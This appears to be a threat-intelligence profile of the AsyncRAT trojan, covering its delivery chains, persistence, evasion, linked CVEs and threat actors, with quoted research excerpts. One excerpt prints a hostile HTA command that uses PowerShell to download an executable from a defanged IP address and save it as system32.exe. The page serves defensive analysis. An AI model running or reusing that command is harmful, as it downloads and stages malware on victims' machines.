Loading malware…
AsyncRAT is an open-source .NET remote access trojan first released publicly in 2019 and widely used in both cybercrime and espionage operations. It provides remote monitoring and control of compromised Windows systems over encrypted communications and is frequently deployed as a commodity payload by diverse actors including TA558, Kimsuky, and Confucius, while also appearing in broader criminal infrastructure alongside families such as Quasar RAT, DCRat, Remcos, njRAT, and AgentTesla.
Observed campaigns show AsyncRAT delivered through multiple phishing-driven infection chains, including spearphishing emails with malicious HTML attachments, OneNote files, Office documents, compressed archives, ISO images, SVG-based HTML smuggling, malicious links, and cloud-hosted payload stages. It has also been retrieved from repositories and legitimate hosting platforms, sometimes with payloads disguised as benign image content, and has been distributed through loaders such as MintsLoader. Aviation, hospitality, travel, government, academia, defense-related organizations, manufacturing, finance, and other sectors have all been targeted in campaigns involving AsyncRAT.
AsyncRAT supports persistent remote access and post-compromise control. Reported behaviors include encrypted command-and-control, scheduled-task or Run-key persistence, mutex-based single-instance control, anti-analysis checks, AMSI bypass in some variants or related loaders, hidden execution through concealed PowerShell or scheduled-task windows, and in-memory execution via process hollowing or RunPE-style injection into legitimate Windows processes. Some deployments also retrieve additional plugins or payloads for in-memory execution. AsyncRAT has been associated with information theft and remote administration objectives, including monitoring victim activity and enabling follow-on malware delivery. Research on its TLS implementation has also noted use of self-signed certificates and certificate pinning behavior in some variants.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
7 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
Its most consistently used malware payloads included vjw0rm, njRAT, Revenge RAT, Loda, and AsyncRAT.
Threat Actors (TAs) leveraging a Remote Code Execution (RCE) vulnerability, identified as CVE-2023-38831, to deliver their payload on compromised systems... The aforementioned vulnerability allows the WinRAR application to extract and execute the malicious script when a user tries to open a benign file within the archive. | CRIL has recently identified and analyzed a campaign that is actively distributing various types of malware, including Apanyan Stealer, Murk-Stealer, and AsyncRAT.
AsyncRAT ... Exploitation of CVE-2022-30190 (Follina/MSDT “Dogwalk”) for arbitrary code execution ... Xworm ... Exploitation of the Follina vulnerability CVE-2022-30190 via malicious .docx files | AsyncRAT, a widely abused open-source RAT that recorded 275 hits... AsyncRAT is an open-source .NET/C# remote access trojan first published on GitHub...
Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT. Additionally... the malicious RTF attachments exploited vulnerabilities in the Microsoft Equation Editor, specifically CVE-2018-0798, before downloading subsequent payloads.
"...Colombian organizations were reported by Darktrace to have been targeted by Blind Eagle in an attack campaign involving the abuse of the Windows vulnerability, tracked as CVE-2024-43451, that has been ongoing since November."
Google also observed financially motivated actors exploiting the WinRAR path-traversal flaw to distribute commodity remote access tools and information stealers such as XWorm and AsyncRAT...
The authoring agencies have identified the following open source and dual-use tools as used and/or customized by the actors: ▪ AsyncRAT
32 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Researchers identified AsyncRAT payloads encrypted and stored within repositories using filenames resembling benign images, allowing the infrastructure to function as both a malware repository and C2 platform.
No less than 31,000 malware samples, including Quasar RAT, AsyncRAT, DCRat, NanoCore, Remcos RAT, njRAT, and artifacts bearing HiddenTear ransomware signatures, have communicated with Sable Squirrel's infrastructure.
Once an attack succeeds, TA558 deploys multiple types of malware on victim machines — including AsyncRAT, LodaRAT, RevengeRAT, XWorm, and AgentTesla — for remote computer control and information theft.
According to the researcher’s observations, AsyncRAT, NetWire, WSH RAT, and Parallax appears to be the group’s top favorites being pushed most often in malicious messages.
Cisco Talos has observed a new malware campaign delivering commodity RATs, including njRAT and AsyncRAT.
26 distinct techniques documented for this family, organized by ATT&CK tactic.
To maintain its foothold, it installs a scheduled task if the payload is running as an administrator.
The file might be different kinds of executables, shortcut (LNK) files, or script files such as HTML application (HTA) or Windows script file (WSF).
Messages contained a OneNote attachment containing an HTA file that calls a PowerShell script to download an executable
oShell.Run "cmd /c powershell Invoke-WebRequest -Uri hxxp[:]3.101.39[.]145/Excel.exe -OutFile $env:tmp\system32.exe
The malicious HTA is simply an escaped JavaScript snippet that, in turn, executes a VBScript (embedded in an HTA) to download and execute the next stage | These XLSM files had VBA macro code that would download the main payload.
After decryption, "Good.xml" is written to the victim's Temp directory, where it is launched using MSBuild.exe.
In order to detonate the payload, an end-user must interact with the OneNote document.
If the user opens the document, they are shown a prompt asking whether fields with references to other files should be updated. | Afterwards, the user is shown another prompt asking whether macros should be enabled or disabled. If the user allows macros, this triggers the infection chain, eventually leading to the execution of the malware payload, AsyncRAT.
To maintain its foothold, it installs a scheduled task if the payload is running as an administrator.
In an attempt to further hinder analysis, this AsyncRAT variant uses multiple .NET obfuscators such as Xenocode, Babel, Yano, DotNetPatcher, CryptoObfuscator, Dotfuscator, SmartAssembly, Goliath, NineRays, and 198 Protector V2.
Researchers identified AsyncRAT payloads encrypted and stored within repositories using filenames resembling benign images, allowing the infrastructure to function as both a malware repository and C2 platform.
There are two large arrays that contain: Compressed bytes of AgentTesla; Compressed bytes of a .NET Injector used for process injection... responsible for injecting AgentTesla payload into an instance of “aspnet_compiler.exe”.
After decryption, "Good.xml" is written to the victim's Temp directory, where it is launched using MSBuild.exe.
The OneNote documents contain embedded files, often hidden behind a graphic that looks like a button.
Agent Tesla has used ProcessWindowStyle.Hidden to hide windows. APT-C-36 has set the ShowWindow property of the Win32_ProcessStartup object to zero to hide PowerShell execution. APT19 used -W Hidden to conceal PowerShell windows by setting the WindowStyle parameter to hidden.
A subset of the streaming domains also function as malware command-and-control (C2), even as they continue to present live streaming content to visitors.
The attackers leverage GitHub Raw Content services and encrypted payloads disguised as image files to deliver malware while blending malicious traffic with legitimate cloud service activity.
2,208 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
200 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Remote access trojan payload delivered from GitHub-hosted infrastructure as part of the Kimsuky Operation GitPower campaign.
Remote access trojan using command-and-control infrastructure tied to expired domains controlled by the tracked threat actor.
Remote access trojan using the expired-domain infrastructure as command-and-control.
Remote access trojan observed communicating with Sable Squirrel infrastructure.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.